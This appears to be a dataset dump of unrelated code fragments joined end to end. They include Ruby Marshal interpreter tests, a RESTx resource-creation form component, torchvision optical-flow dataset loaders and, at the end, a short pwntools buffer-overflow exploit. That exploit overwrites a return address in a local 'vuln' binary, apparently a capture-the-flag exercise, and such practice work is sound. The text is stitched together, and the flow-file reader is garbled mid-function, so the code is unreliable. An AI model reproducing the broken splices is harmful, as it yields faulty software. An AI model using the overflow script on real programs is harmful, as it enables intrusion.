assert space.str_w(w_res) == ""\x04\bi\x00"" w_res = space.execute(""return Marshal.dump(-1)"") assert space.str_w(w_res) == ""\x04\bi\xFA"" w_res = space.execute(""return Marshal.dump(-123)"") assert space.str_w(w_res) == ""\x04\bi\x80"" w_res = space.execute(""return Marshal.dump(122)"") assert space.str_w(w_res) == ""\x04\bi\x7F"" def test_load_tiny_integer(self, space): w_res = space.execute(""return Marshal.load('\x04\bi\n')"") assert space.int_w(w_res) == 5 w_res = space.execute(""return Marshal.load('\x04\bii')"") assert space.int_w(w_res) == 100 #w_res = space.execute('return Marshal.load(""\x04\bi\x00"")') w_res = space.execute('return Marshal.load(Marshal.dump(0))') assert space.int_w(w_res) == 0 w_res = space.execute(""return Marshal.load('\x04\bi\xFA')"") assert space.int_w(w_res) == -1 w_res = space.execute(""return Marshal.load('\x04\bi\x80')"") assert space.int_w(w_res) == -123 w_res = space.execute(""return Marshal.load('\x04\bi\x7F')"") assert space.int_w(w_res) == 122 def test_dump_array(self, space): w_res = space.execute(""return Marshal.dump([])"") assert space.str_w(w_res) == ""\x04\b[\x00"" w_res = space.execute(""return Marshal.dump([nil])"") assert space.str_w(w_res) == ""\x04\b[\x060"" w_res = space.execute(""return Marshal.dump([nil, true, false])"") assert space.str_w(w_res) == ""\x04\b[\b0TF"" w_res = space.execute(""return Marshal.dump([1, 2, 3])"") assert space.str_w(w_res) == ""\x04\b[\x08i\x06i\x07i\x08"" w_res = space.execute(""return Marshal.dump([1, [2, 3], 4])"") assert space.str_w(w_res) == ""\x04\b[\bi\x06[\ai\ai\bi\t"" w_res = space.execute(""return Marshal.dump([:foo, :bar])"") assert space.str_w(w_res) == ""\x04\b[\a:\bfoo:\bbar"" def test_load_array(self, space): #w_res = space.execute(""return Marshal.load('\x04\b[\x00')"") w_res = space.execute(""return Marshal.load(Marshal.dump([]))"") assert self.unwrap(space, w_res) == [] w_res = space.execute(""return Marshal.load('\x04\b[\x060')"") assert self.unwrap(space, w_res) == [None] w_res = space.execute(""return Marshal.load('\x04\b[\b0TF')"") assert self.unwrap(space, w_res) == [None, True, False] w_res = space.execute(""return Marshal.load('\x04\b[\x08i\x06i\x07i\x08')"") assert self.unwrap(space, w_res) == [1, 2, 3] w_res = space.execute(""return Marshal.load('\x04\b[\bi\x06[\ai\ai\bi\t')"") assert self.unwrap(space, w_res) == [1, [2, 3], 4] w_res = space.execute(""return Marshal.load('\x04\b[\a:\bfoo:\bbar')"") assert self.unwrap(space, w_res) == [""foo"", ""bar""] def test_dump_symbol(self, space): w_res = space.execute(""return Marshal.dump(:abc)"") assert space.str_w(w_res) == ""\x04\b:\babc"" w_res = space.execute(""return Marshal.dump(('hello' * 25).to_sym)"") assert space.str_w(w_res) == ""\x04\b:\x01}"" + ""hello"" * 25 w_res = space.execute(""return Marshal.dump(('hello' * 100).to_sym)"") assert space.str_w(w_res) == ""\x04\b:\x02\xF4\x01"" + ""hello"" * 100 def test_load_symbol(self, space): w_res = space.execute(""return Marshal.load('\x04\b:\babc')"") assert space.symbol_w(w_res) == ""abc"" w_res = space.execute(""return Marshal.load('\x04\b:\x01}' + 'hello' * 25)"") assert space.symbol_w(w_res) == ""hello"" * 25 def test_dump_hash(self, space): w_res = space.execute(""return Marshal.dump({})"") assert space.str_w(w_res) == ""\x04\b{\x00"" w_res = space.execute(""return Marshal.dump({1 => 2, 3 => 4})"") assert self.unwrap(space, w_res) == ""\x04\b{\ai\x06i\ai\bi\t"" w_res = space.execute(""return Marshal.dump({1 => {2 => 3}, 4 => 5})"") assert self.unwrap(space, w_res) == ""\x04\b{\ai\x06{\x06i\ai\bi\ti\n"" w_res = space.execute(""return Marshal.dump({1234 => {23456 => 3456789}, 4 => 5})"") assert self.unwrap(space, w_res) == ""\x04\b{\ai\x02\xD2\x04{\x06i\x02\xA0[i\x03\x15\xBF4i\ti\n"" def test_load_hash(self, space): #w_res = space.execute(""return Marshal.load('\x04\b{\x00')"") w_res = space.execute(""return Marshal.load(Marshal.dump({}))"") assert self.unwrap(space, w_res) == {} w_res = space.execute(""return Marshal.load('\x04\b{\ai\x06i\ai\bi\t')"") assert self.unwrap(space, w_res) == {1: 2, 3: 4} w_res = space.execute(""return Marshal.load('\x04\b{\ai\x06{\x06i\ai\bi\ti\n')"") assert self.unwrap(space, w_res) == {1: {2: 3}, 4: 5} w_res = space.execute(""return Marshal.load('\x04\b{\ai\x02\xD2\x04{\x06i\x02\xA0[i\x03\x15\xBF4i\ti\n')"") assert self.unwrap(space, w_res) == {1234: {23456: 3456789}, 4: 5} def test_dump_integer(self, space): w_res = space.execute(""return Marshal.dump(123)"") assert space.str_w(w_res) == ""\x04\bi\x01{"" w_res = space.execute(""return Marshal.dump(255)"") assert space.str_w(w_res) == ""\x04\bi\x01\xFF"" w_res = space.execute(""return Marshal.dump(256)"") assert space.str_w(w_res) == ""\x04\bi\x02\x00\x01"" w_res = space.execute(""return Marshal.dump(2 ** 16 - 2)"") assert space.str_w(w_res) == ""\x04\bi\x02\xFE\xFF"" w_res = space.execute(""return Marshal.dump(2 ** 16 - 1)"") assert space.str_w(w_res) == ""\x04\bi\x02\xFF\xFF"" w_res = space.execute(""return Marshal.dump(2 ** 16)"") assert space.str_w(w_res) == ""\x04\bi\x03\x00\x00\x01"" w_res = space.execute(""return Marshal.dump(2 ** 16 + 1)"") assert space.str_w(w_res) == ""\x04\bi\x03\x01\x00\x01"" w_res = space.execute(""return Marshal.dump(2 ** 30 - 1)"") assert space.str_w(w_res) == ""\x04\bi\x04\xFF\xFF\xFF?"" # TODO: test tooo big numbers (they give a warning and inf) def test_load_integer(self, space): w_res = space.execute(""return Marshal.load('\x04\bi\x01{')"") assert space.int_w(w_res) == 123 w_res = space.execute(""return Marshal.load('\x04\bi\x01\xFF')"") assert space.int_w(w_res) == 255 #w_res = space.execute(""return Marshal.load('\x04\bi\x02\x00\x01')"") w_res = space.execute(""return Marshal.load(Marshal.dump(256))"") assert space.int_w(w_res) == 256 w_res = space.execute(""return Marshal.load('\x04\bi\x02\xFE\xFF')"") assert space.int_w(w_res) == 2 ** 16 - 2 w_res = space.execute(""return Marshal.load('\x04\bi\x02\xFF\xFF')"") assert space.int_w(w_res) == 2 ** 16 - 1 #w_res = space.execute(""return Marshal.load('\x04\bi\x03\x00\x00\x01')"") w_res = space.execute(""return Marshal.load(Marshal.dump(2 ** 16))"") assert space.int_w(w_res) == 2 ** 16 #w_res = space.execute(""return Marshal.load('\x04\bi\x03\x01\x00\x01')"") w_res = space.execute(""return Marshal.load(Marshal.dump(2 ** 16 + 1))"") assert space.int_w(w_res) == 2 ** 16 + 1 w_res = space.execute(""return Marshal.load('\x04\bi\x04\xFF\xFF\xFF?')"") assert space.int_w(w_res) == 2 ** 30 - 1 def test_dump_negative_integer(self, space): w_res = space.execute(""return Marshal.dump(-1)"") assert space.str_w(w_res) == ""\x04\bi\xFA"" w_res = space.execute(""return Marshal.dump(-123)"") assert space.str_w(w_res) == ""\x04\bi\x80"" w_res = space.execute(""return Marshal.dump(-124)"") assert space.str_w(w_res) == ""\x04\bi\xFF\x84"" w_res = space.execute(""return Marshal.dump(-256)"") assert space.str_w(w_res) == ""\x04\bi\xFF\x00"" w_res = space.execute(""return Marshal.dump(-257)"") assert space.str_w(w_res) == ""\x04\bi\xFE\xFF\xFE"" w_res = space.execute(""return Marshal.dump(-(2 ** 30))"") assert space.str_w(w_res) == ""\x04\bi\xFC\x00\x00\x00\xC0"" def test_load_negative_integer(self, space): w_res = space.execute(""return Marshal.load('\x04\bi\xFA')"") assert space.int_w(w_res) == -1 w_res = space.execute(""return Marshal.load('\x04\bi\x80')"") assert space.int_w(w_res) == -123 w_res = space.execute(""return Marshal.load('\x04\bi\xFF\x84')"") assert space.int_w(w_res) == -124 #w_res = space.execute(""return Marshal.load('\x04\bi\xFF\x00')"") w_res = space.execute(""return Marshal.load(Marshal.dump(-256))"") assert space.int_w(w_res) == -256 w_res = space.execute(""return Marshal.load('\x04\bi\xFE\xFF\xFE')"") assert space.int_w(w_res) == -257 #w_res = space.execute(""return Marshal.load('\x04\bi\xFE\x00\x00')"") w_res = space.execute(""return Marshal.load(Marshal.dump(-(2 ** 16)))"") assert space.int_w(w_res) == -(2 ** 16) w_res = space.execute(""return Marshal.load('\x04\bi\xFD\xFF\xFF\xFE')"") assert space.int_w(w_res) == -(2 ** 16 + 1) #w_res = space.execute(""return Marshal.load('\x04\bi\xFC\x00\x00\x00')"") w_res = space.execute(""return Marshal.load(Marshal.dump(-(2 ** 24)))"") assert space.int_w(w_res) == -(2 ** 24) w_res = space.execute(""return Marshal.load('\x04\bi\xFC\xFF\xFF\xFF\xFE')"") assert space.int_w(w_res) == -(2 ** 24 + 1) #w_res = space.execute(""return Marshal.load('\x04\bi\xFC\x00\x00\x00\xC0')"") w_res = space.execute(""return Marshal.load(Marshal.dump(-(2 ** 30)))"") assert space.int_w(w_res) == -(2 ** 30) def test_dump_float(self, space): w_res = space.execute(""return Marshal.dump(0.0)"") assert space.str_w(w_res) == ""\x04\bf\x060"" w_res = space.execute(""return Marshal.dump(0.1)"") assert space.str_w(w_res) == ""\x04\bf\b0.1"" w_res = space.execute(""return Marshal.dump(1.0)"") assert space.str_w(w_res) == ""\x04\bf\x061"" w_res = space.execute(""return Marshal.dump(1.1)"") assert space.str_w(w_res) == ""\x04\bf\b1.1"" w_res = space.execute(""return Marshal.dump(1.001)"") assert space.str_w(w_res) == ""\x04\bf\n1.001"" #w_res = space.execute(""return Marshal.dump(123456789.123456789)"") #assert space.str_w(w_res) == ""\x04\bf\x17123456789.12345679"" #w_res = space.execute(""return Marshal.dump(-123456789.123456789)"") #assert space.str_w(w_res) == ""\x04\bf\x18-123456789.12345679"" #w_res = space.execute(""return Marshal.dump(-0.0)"") #assert space.str_w(w_res) == ""\x04\bf\a-0"" def test_load_float(self, space): w_res = space.execute(""return Marshal.load('\x04\bf\x060')"") assert space.float_w(w_res) == 0.0 w_res = space.execute(""return Marshal.load('\x04\bf\b0.1')"") assert space.float_w(w_res) == 0.1 w_res = space.execute(""return Marshal.load('\x04\bf\x061')"") assert space.float_w(w_res) == 1.0 w_res = space.execute(""return Marshal.load('\x04\bf\b1.1')"") assert space.float_w(w_res) == 1.1 w_res = space.execute(""return Marshal.load('\x04\bf\n1.001')"") assert space.float_w(w_res) == 1.001 #w_res = space.execute(""return Marshal.load('\x04\bf\x17123456789.12345679')"") #assert space.float_w(w_res) == 123456789.123456789 #w_res = space.execute(""return Marshal.load('\x04\bf\x18-123456789.12345679')"") #assert space.float_w(w_res) == -123456789.123456789 #w_res = space.execute(""return Marshal.load('\x04\bf\a-0')"") #assert repr(space.float_w(w_res)) == repr(-0.0) def test_dump_string(self, space): w_res = space.execute(""return Marshal.dump('')"") assert space.str_w(w_res) == ""\x04\bI\""\x00\x06:\x06ET"" w_res = space.execute(""return Marshal.dump('abc')"") assert space.str_w(w_res) == ""\x04\bI\""\babc\x06:\x06ET"" w_res = space.execute(""return Marshal.dump('i am a longer string')"") assert space.str_w(w_res) == ""\x04\bI\""\x19i am a longer string\x06:\x06ET"" def test_load_string(self, space): #w_res = space.execute(""return Marshal.load('\x04\bI\""\x00\x06:\x06ET')"") w_res = space.execute(""return Marshal.load(Marshal.dump(''))"") assert space.str_w(w_res) == """" w_res = space.execute(""return Marshal.load('\x04\bI\""\babc\x06:\x06ET')"") assert space.str_w(w_res) == ""abc"" w_res = space.execute(""return Marshal.load('\x04\bI\""\x19i am a longer string\x06:\x06ET')"") assert space.str_w(w_res) == ""i am a longer string"" def test_array(self, space): w_res = space.execute(""return Marshal.load(Marshal.dump([1, 2, 3]))"") assert self.unwrap(space, w_res) == [1, 2, 3] w_res = space.execute(""return Marshal.load(Marshal.dump([1, [2, 3], 4]))"") assert self.unwrap(space, w_res) == [1, [2, 3], 4] w_res = space.execute(""return Marshal.load(Marshal.dump([130, [2, 3], 4]))"") assert self.unwrap(space, w_res) == [130, [2, 3], 4] w_res = space.execute(""return Marshal.load(Marshal.dump([-10000, [2, 123456], -9000]))"") assert self.unwrap(space, w_res) == [-10000, [2, 123456], -9000] w_res = space.execute(""return Marshal.load(Marshal.dump([:foo, :bar]))"") assert self.unwrap(space, w_res) == [""foo"", ""bar""] w_res = space.execute(""return Marshal.load(Marshal.dump(['foo', 'bar']))"") assert self.unwrap(space, w_res) == [""foo"", ""bar""] def test_incompatible_format(self, space): with self.raises( space, ""TypeError"", ""incompatible marshal file format (can't be read)\n"" ""format version 4.8 required; 97.115 given"" ): space.execute(""Marshal.load('asd')"") def test_short_data(self, space): with self.raises(space, ""ArgumentError"", ""marshal data too short""): space.execute(""Marshal.load('')"") def test_parameters(self, space): with self.raises(space, ""TypeError"", ""instance of IO needed""): space.execute(""Marshal.load(4)"") def test_io(self, space, tmpdir): f = tmpdir.join(""testfile"") w_res = space.execute("""""" Marshal.dump('hallo', File.new('%s', 'wb')) file = File.open('%s', 'rb') return Marshal.load(file.read) """""" % (f, f)) assert space.str_w(w_res) == ""hallo"" w_res = space.execute("""""" Marshal.dump('hallo', File.new('%s', 'wb')) file = File.open('%s', 'rb') return Marshal.load(file) """""" % (f, f)) assert space.str_w(w_res) == ""hallo"" ",1 "s free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . """""" """""" A sample template for RESTx components, written in Python. """""" import urllib import restx.components import restx.settings as settings from restx.platform_specifics import STORAGE_OBJECT from restx.components.api import * from org.mulesoft.restx.exception import * class _ResourceCreateForm(BaseComponent): # Name, description and doc string of the component as it should appear to the user. NAME = ""_ResourceCreateForm"" # Names starting with a '_' are kept private DESCRIPTION = ""Allows creation of a new resource by displaying a resource creation form"" DOCUMENTATION = \ """"""The resource gets the name of a component as parameter at run time. It then reads information about the component and constructs a proper HTML form suitable for resource creation. The user submits the filled-out form and a new resource is created. """""" PARAM_DEFINITION = {} # A dictionary with information about each exposed service method (sub-resource). SERVICES = { ""form"" : { ""desc"" : ""Show the resource creation form"", ""params"" : { ""component_name"" : ParameterDef(PARAM_STRING, ""Name of the component"", required=True), ""message"" : ParameterDef(PARAM_STRING, ""An error message"", required=False, default=""""), ""specialized"" : ParameterDef(PARAM_BOOL, ""Indicates if this is based on a specialized component"", required=False, default=False), }, ""positional_params"": [ ""component_name"" ] }, } def __create(self, input, component_name, specialized=False): """""" Accept a resource creation form for a specified component. """""" d = dict() for name, value in input.items(): path_elems = name.split(""__"") d2 = d for i, pe in enumerate(path_elems): if i < len(path_elems)-1: # More elements to come later? We must create a dict d2 = d2.setdefault(pe, dict()) else: if value: d2[pe] = value try: return (True, makeResource(component_name, d, specialized), d) except RestxException, e: return (False, e.msg, d) def form(self, method, input, component_name, message="""", specialized=False): """""" Display a resource creation form for a specified component. @param method: The HTTP request method. @type method: string @param input: Any data that came in the body of the request. @type input: string @param component_name: Name of the component for which to create the resource. @type component_name: string @param message: An error message to be displayed above the form. @type message: string @return: The output data of this service. @rtype: Result """""" input_params = dict() input_rctp = dict() if input and HttpMethod.POST: flag, msg, input = self.__create(input, component_name, specialized) if not flag: message = msg else: return Result.created(msg['uri'], msg) if input: if type(input) is dict: # We receive a dict of values if the 'create' method discovered an # error. In that case, the values should be used to pre-populate # the fields when the form is re-displayed (with the error messsage # on top). input_rctp = input.get('resource_creation_params', dict()) # Resource creation time parameters input_params = input.get('params', dict()) # Other parameters if specialized: # Need to read the definition of the partial resource and get the # component name from there. specialized_code_name = component_name specialized_def = STORAGE_OBJECT.loadResourceFromStorage(specialized_code_name, True) component_uri = specialized_def['private']['code_uri'] elems = component_uri.split(""/"") component_name = elems[len(elems)-1] # Take the parameter map from the component comp = restx.components.make_component(component_name) if not comp: return Result.notFound(""Cannot find component '%s'"" % component_name) header = settings.HTML_HEADER # Assemble the form elements for the parameters params = dict() params.update(comp.getParams()) # In case this is a Java component, we get a Python dict this way if specialized: fname = specialized_def['public']['name'] fdesc = specialized_def['public']['desc'] # Remove all parameters that have been specified in the specialized component resource # definition already spec_params = specialized_def['private'].get('params') if spec_params: for name in spec_params: if name in params: del params[name] else: fname = comp.getName() fdesc = comp.getDesc() param_fields_html = """" if params: param_field_names = params.keys() param_field_names.sort() for pname in param_field_names: pdef = params[pname] if not pdef.required: opt_str = ""
    optional, default: %s"" % pdef.getDefaultVal() else: opt_str = """" values = input_params.get(pname) if type(values) is not list and pdef.isList(): if values is None: values = [] else: values = [ values ] param_fields_html += \ """""" %s
    (%s%s) %s """""" % (pname, pname, pdef.desc, opt_str, pdef.html_type(""params__""+pname, values)) if message: msg = ""%s

    "" % message else: msg = """" body = """"""

    Resource creation form for: %s

    ""%s""


    Please enter the resource configuration...

    %s

    """""" % (fname, fdesc, msg, ""%s%s/form/%s%s"" % (settings.DOCUMENT_ROOT, self.getMyResourceUri(), component_name if not specialized else specialized_code_name, ""?specialized=y"" if specialized else """")) # Gather any initial values of the resource creation time form fields suggested_name_value = input_rctp.get(""suggested_name"", """") if suggested_name_value: suggested_name_value = 'value=""%s"" ' % suggested_name_value desc_value = input_rctp.get(""desc"", """") if desc_value: desc_value = 'value=""%s"" ' % desc_value specialized_value = ""checked "" if input_rctp.get(""specialized"") in [ ""on"", ""ON"" ] else "" "" if not specialized: body += """""" """""" % specialized_value body += """""" %s
    Make this a specialized component:
    Resource name:
    Description:
    (optional)
    """""" % (suggested_name_value, desc_value, param_fields_html) footer = settings.HTML_FOOTER return Result.ok(header + body + footer).addHeader(""Content-type"", ""text/html; charset=UTF-8"") ",1 "ch from PIL import Image from ..io.image import _read_png_16 from .utils import verify_str_arg from .vision import VisionDataset __all__ = ( ""KittiFlow"", ""Sintel"", ""FlyingThings3D"", ""FlyingChairs"", ""HD1K"", ) class FlowDataset(ABC, VisionDataset): # Some datasets like Kitti have a built-in valid_flow_mask, indicating which flow values are valid # For those we return (img1, img2, flow, valid_flow_mask), and for the rest we return (img1, img2, flow), # and it's up to whatever consumes the dataset to decide what valid_flow_mask should be. _has_builtin_flow_mask = False def __init__(self, root, transforms=None): super().__init__(root=root) self.transforms = transforms self._flow_list = [] self._image_list = [] def _read_img(self, file_name): img = Image.open(file_name) if img.mode != ""RGB"": img = img.convert(""RGB"") return img @abstractmethod def _read_flow(self, file_name): # Return the flow or a tuple with the flow and the valid_flow_mask if _has_builtin_flow_mask is True pass def __getitem__(self, index): img1 = self._read_img(self._image_list[index][0]) img2 = self._read_img(self._image_list[index][1]) if self._flow_list: # it will be empty for some dataset when split=""test"" flow = self._read_flow(self._flow_list[index]) if self._has_builtin_flow_mask: flow, valid_flow_mask = flow else: valid_flow_mask = None else: flow = valid_flow_mask = None if self.transforms is not None: img1, img2, flow, valid_flow_mask = self.transforms(img1, img2, flow, valid_flow_mask) if self._has_builtin_flow_mask or valid_flow_mask is not None: # The `or valid_flow_mask is not None` part is here because the mask can be generated within a transform return img1, img2, flow, valid_flow_mask else: return img1, img2, flow def __len__(self): return len(self._image_list) def __rmul__(self, v): return torch.utils.data.ConcatDataset([self] * v) class Sintel(FlowDataset): """"""`Sintel `_ Dataset for optical flow. The dataset is expected to have the following structure: :: root Sintel testing clean scene_1 scene_2 ... final scene_1 scene_2 ... training clean scene_1 scene_2 ... final scene_1 scene_2 ... flow scene_1 scene_2 ... Args: root (string): Root directory of the Sintel Dataset. split (string, optional): The dataset split, either ""train"" (default) or ""test"" pass_name (string, optional): The pass to use, either ""clean"" (default), ""final"", or ""both"". See link above for details on the different passes. transforms (callable, optional): A function/transform that takes in ``img1, img2, flow, valid_flow_mask`` and returns a transformed version. ``valid_flow_mask`` is expected for consistency with other datasets which return a built-in valid mask, such as :class:`~torchvision.datasets.KittiFlow`. """""" def __init__(self, root, split=""train"", pass_name=""clean"", transforms=None): super().__init__(root=root, transforms=transforms) verify_str_arg(split, ""split"", valid_values=(""train"", ""test"")) verify_str_arg(pass_name, ""pass_name"", valid_values=(""clean"", ""final"", ""both"")) passes = [""clean"", ""final""] if pass_name == ""both"" else [pass_name] root = Path(root) / ""Sintel"" flow_root = root / ""training"" / ""flow"" for pass_name in passes: split_dir = ""training"" if split == ""train"" else split image_root = root / split_dir / pass_name for scene in os.listdir(image_root): image_list = sorted(glob(str(image_root / scene / ""*.png""))) for i in range(len(image_list) - 1): self._image_list += [[image_list[i], image_list[i + 1]]] if split == ""train"": self._flow_list += sorted(glob(str(flow_root / scene / ""*.flo""))) def __getitem__(self, index): """"""Return example at given index. Args: index(int): The index of the example to retrieve Returns: tuple: A 3-tuple with ``(img1, img2, flow)``. The flow is a numpy array of shape (2, H, W) and the images are PIL images. ``flow`` is None if ``split=""test""``. If a valid flow mask is generated within the ``transforms`` parameter, a 4-tuple with ``(img1, img2, flow, valid_flow_mask)`` is returned. """""" return super().__getitem__(index) def _read_flow(self, file_name): return _read_flo(file_name) class KittiFlow(FlowDataset): """"""`KITTI `__ dataset for optical flow (2015). The dataset is expected to have the following structure: :: root KittiFlow testing image_2 training image_2 flow_occ Args: root (string): Root directory of the KittiFlow Dataset. split (string, optional): The dataset split, either ""train"" (default) or ""test"" transforms (callable, optional): A function/transform that takes in ``img1, img2, flow, valid_flow_mask`` and returns a transformed version. """""" _has_builtin_flow_mask = True def __init__(self, root, split=""train"", transforms=None): super().__init__(root=root, transforms=transforms) verify_str_arg(split, ""split"", valid_values=(""train"", ""test"")) root = Path(root) / ""KittiFlow"" / (split + ""ing"") images1 = sorted(glob(str(root / ""image_2"" / ""*_10.png""))) images2 = sorted(glob(str(root / ""image_2"" / ""*_11.png""))) if not images1 or not images2: raise FileNotFoundError( ""Could not find the Kitti flow images. Please make sure the directory structure is correct."" ) for img1, img2 in zip(images1, images2): self._image_list += [[img1, img2]] if split == ""train"": self._flow_list = sorted(glob(str(root / ""flow_occ"" / ""*_10.png""))) def __getitem__(self, index): """"""Return example at given index. Args: index(int): The index of the example to retrieve Returns: tuple: A 4-tuple with ``(img1, img2, flow, valid_flow_mask)`` where ``valid_flow_mask`` is a numpy boolean mask of shape (H, W) indicating which flow values are valid. The flow is a numpy array of shape (2, H, W) and the images are PIL images. ``flow`` and ``valid_flow_mask`` are None if ``split=""test""``. """""" return super().__getitem__(index) def _read_flow(self, file_name): return _read_16bits_png_with_flow_and_valid_mask(file_name) class FlyingChairs(FlowDataset): """"""`FlyingChairs `_ Dataset for optical flow. You will also need to download the FlyingChairs_train_val.txt file from the dataset page. The dataset is expected to have the following structure: :: root FlyingChairs data 00001_flow.flo 00001_img1.ppm 00001_img2.ppm ... FlyingChairs_train_val.txt Args: root (string): Root directory of the FlyingChairs Dataset. split (string, optional): The dataset split, either ""train"" (default) or ""val"" transforms (callable, optional): A function/transform that takes in ``img1, img2, flow, valid_flow_mask`` and returns a transformed version. ``valid_flow_mask`` is expected for consistency with other datasets which return a built-in valid mask, such as :class:`~torchvision.datasets.KittiFlow`. """""" def __init__(self, root, split=""train"", transforms=None): super().__init__(root=root, transforms=transforms) verify_str_arg(split, ""split"", valid_values=(""train"", ""val"")) root = Path(root) / ""FlyingChairs"" images = sorted(glob(str(root / ""data"" / ""*.ppm""))) flows = sorted(glob(str(root / ""data"" / ""*.flo""))) split_file_name = ""FlyingChairs_train_val.txt"" if not os.path.exists(root / split_file_name): raise FileNotFoundError( ""The FlyingChairs_train_val.txt file was not found - please download it from the dataset page (see docstring)."" ) split_list = np.loadtxt(str(root / split_file_name), dtype=np.int32) for i in range(len(flows)): split_id = split_list[i] if (split == ""train"" and split_id == 1) or (split == ""val"" and split_id == 2): self._flow_list += [flows[i]] self._image_list += [[images[2 * i], images[2 * i + 1]]] def __getitem__(self, index): """"""Return example at given index. Args: index(int): The index of the example to retrieve Returns: tuple: A 3-tuple with ``(img1, img2, flow)``. The flow is a numpy array of shape (2, H, W) and the images are PIL images. ``flow`` is None if ``split=""val""``. If a valid flow mask is generated within the ``transforms`` parameter, a 4-tuple with ``(img1, img2, flow, valid_flow_mask)`` is returned. """""" return super().__getitem__(index) def _read_flow(self, file_name): return _read_flo(file_name) class FlyingThings3D(FlowDataset): """"""`FlyingThings3D `_ dataset for optical flow. The dataset is expected to have the following structure: :: root FlyingThings3D frames_cleanpass TEST TRAIN frames_finalpass TEST TRAIN optical_flow TEST TRAIN Args: root (string): Root directory of the intel FlyingThings3D Dataset. split (string, optional): The dataset split, either ""train"" (default) or ""test"" pass_name (string, optional): The pass to use, either ""clean"" (default) or ""final"" or ""both"". See link above for details on the different passes. camera (string, optional): Which camera to return images from. Can be either ""left"" (default) or ""right"" or ""both"". transforms (callable, optional): A function/transform that takes in ``img1, img2, flow, valid_flow_mask`` and returns a transformed version. ``valid_flow_mask`` is expected for consistency with other datasets which return a built-in valid mask, such as :class:`~torchvision.datasets.KittiFlow`. """""" def __init__(self, root, split=""train"", pass_name=""clean"", camera=""left"", transforms=None): super().__init__(root=root, transforms=transforms) verify_str_arg(split, ""split"", valid_values=(""train"", ""test"")) split = split.upper() verify_str_arg(pass_name, ""pass_name"", valid_values=(""clean"", ""final"", ""both"")) passes = { ""clean"": [""frames_cleanpass""], ""final"": [""frames_finalpass""], ""both"": [""frames_cleanpass"", ""frames_finalpass""], }[pass_name] verify_str_arg(camera, ""camera"", valid_values=(""left"", ""right"", ""both"")) cameras = [""left"", ""right""] if camera == ""both"" else [camera] root = Path(root) / ""FlyingThings3D"" directions = (""into_future"", ""into_past"") for pass_name, camera, direction in itertools.product(passes, cameras, directions): image_dirs = sorted(glob(str(root / pass_name / split / ""*/*""))) image_dirs = sorted(Path(image_dir) / camera for image_dir in image_dirs) flow_dirs = sorted(glob(str(root / ""optical_flow"" / split / ""*/*""))) flow_dirs = sorted(Path(flow_dir) / direction / camera for flow_dir in flow_dirs) if not image_dirs or not flow_dirs: raise FileNotFoundError( ""Could not find the FlyingThings3D flow images. "" ""Please make sure the directory structure is correct."" ) for image_dir, flow_dir in zip(image_dirs, flow_dirs): images = sorted(glob(str(image_dir / ""*.png""))) flows = sorted(glob(str(flow_dir / ""*.pfm""))) for i in range(len(flows) - 1): if direction == ""into_future"": self._image_list += [[images[i], images[i + 1]]] self._flow_list += [flows[i]] elif direction == ""into_past"": self._image_list += [[images[i + 1], images[i]]] self._flow_list += [flows[i + 1]] def __getitem__(self, index): """"""Return example at given index. Args: index(int): The index of the example to retrieve Returns: tuple: A 3-tuple with ``(img1, img2, flow)``. The flow is a numpy array of shape (2, H, W) and the images are PIL images. ``flow`` is None if ``split=""test""``. If a valid flow mask is generated within the ``transforms`` parameter, a 4-tuple with ``(img1, img2, flow, valid_flow_mask)`` is returned. """""" return super().__getitem__(index) def _read_flow(self, file_name): return _read_pfm(file_name) class HD1K(FlowDataset): """"""`HD1K `__ dataset for optical flow. The dataset is expected to have the following structure: :: root hd1k hd1k_challenge image_2 hd1k_flow_gt flow_occ hd1k_input image_2 Args: root (string): Root directory of the HD1K Dataset. split (string, optional): The dataset split, either ""train"" (default) or ""test"" transforms (callable, optional): A function/transform that takes in ``img1, img2, flow, valid_flow_mask`` and returns a transformed version. """""" _has_builtin_flow_mask = True def __init__(self, root, split=""train"", transforms=None): super().__init__(root=root, transforms=transforms) verify_str_arg(split, ""split"", valid_values=(""train"", ""test"")) root = Path(root) / ""hd1k"" if split == ""train"": # There are 36 ""sequences"" and we don't want seq i to overlap with seq i + 1, so we need this for loop for seq_idx in range(36): flows = sorted(glob(str(root / ""hd1k_flow_gt"" / ""flow_occ"" / f""{seq_idx:06d}_*.png""))) images = sorted(glob(str(root / ""hd1k_input"" / ""image_2"" / f""{seq_idx:06d}_*.png""))) for i in range(len(flows) - 1): self._flow_list += [flows[i]] self._image_list += [[images[i], images[i + 1]]] else: images1 = sorted(glob(str(root / ""hd1k_challenge"" / ""image_2"" / ""*10.png""))) images2 = sorted(glob(str(root / ""hd1k_challenge"" / ""image_2"" / ""*11.png""))) for image1, image2 in zip(images1, images2): self._image_list += [[image1, image2]] if not self._image_list: raise FileNotFoundError( ""Could not find the HD1K images. Please make sure the directory structure is correct."" ) def _read_flow(self, file_name): return _read_16bits_png_with_flow_and_valid_mask(file_name) def __getitem__(self, index): """"""Return example at given index. Args: index(int): The index of the example to retrieve Returns: tuple: A 4-tuple with ``(img1, img2, flow, valid_flow_mask)`` where ``valid_flow_mask`` is a numpy boolean mask of shape (H, W) indicating which flow values are valid. The flow is a numpy array of shape (2, H, W) and the images are PIL images. ``flow`` and ``valid_flow_mask`` are None if ``split=""test""``. """""" return super().__getitem__(index) def _read_flo(file_name): """"""Read .flo file in Middlebury format"""""" # Code adapted from: # http://stackoverflow.com/questions/28013200/reading-middlebury-flow-files-with-python-bytes-array-numpy # Everything needs to be in little Endian according to # https://vision.middlebury.edu/flow/code/flow-code/README.txt with open(file_name, ""rb"") as f: magic = np.fromfile(f, ""c"", count=4).tobytes() if magic != b""PIEH"": raise ValueError(""Magic number incorrect. Invalid .flo file"") w = int(np.fromfile(f, """" # big-endian data = np.fromfile(f, dtype=endian + ""f"") data = data.reshape(h, w, 3).transpose(2, 0, 1) data = np.flip(data, axis=1) # flip on h dimension data = data[:2, :, :] return data.astype(np.float32) ",1 "ecture exe = context.binary = ELF('./vuln') def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) gdbscript = ''' break *0x{exe.symbols.main:x} continue '''.format(**locals()) io = start() payload = cyclic(76) #payload = 'A'*64 payload += p32(0x80485e6) io.sendline(payload) io.interactive() ",1 "mmon.orders import OrderBuy, 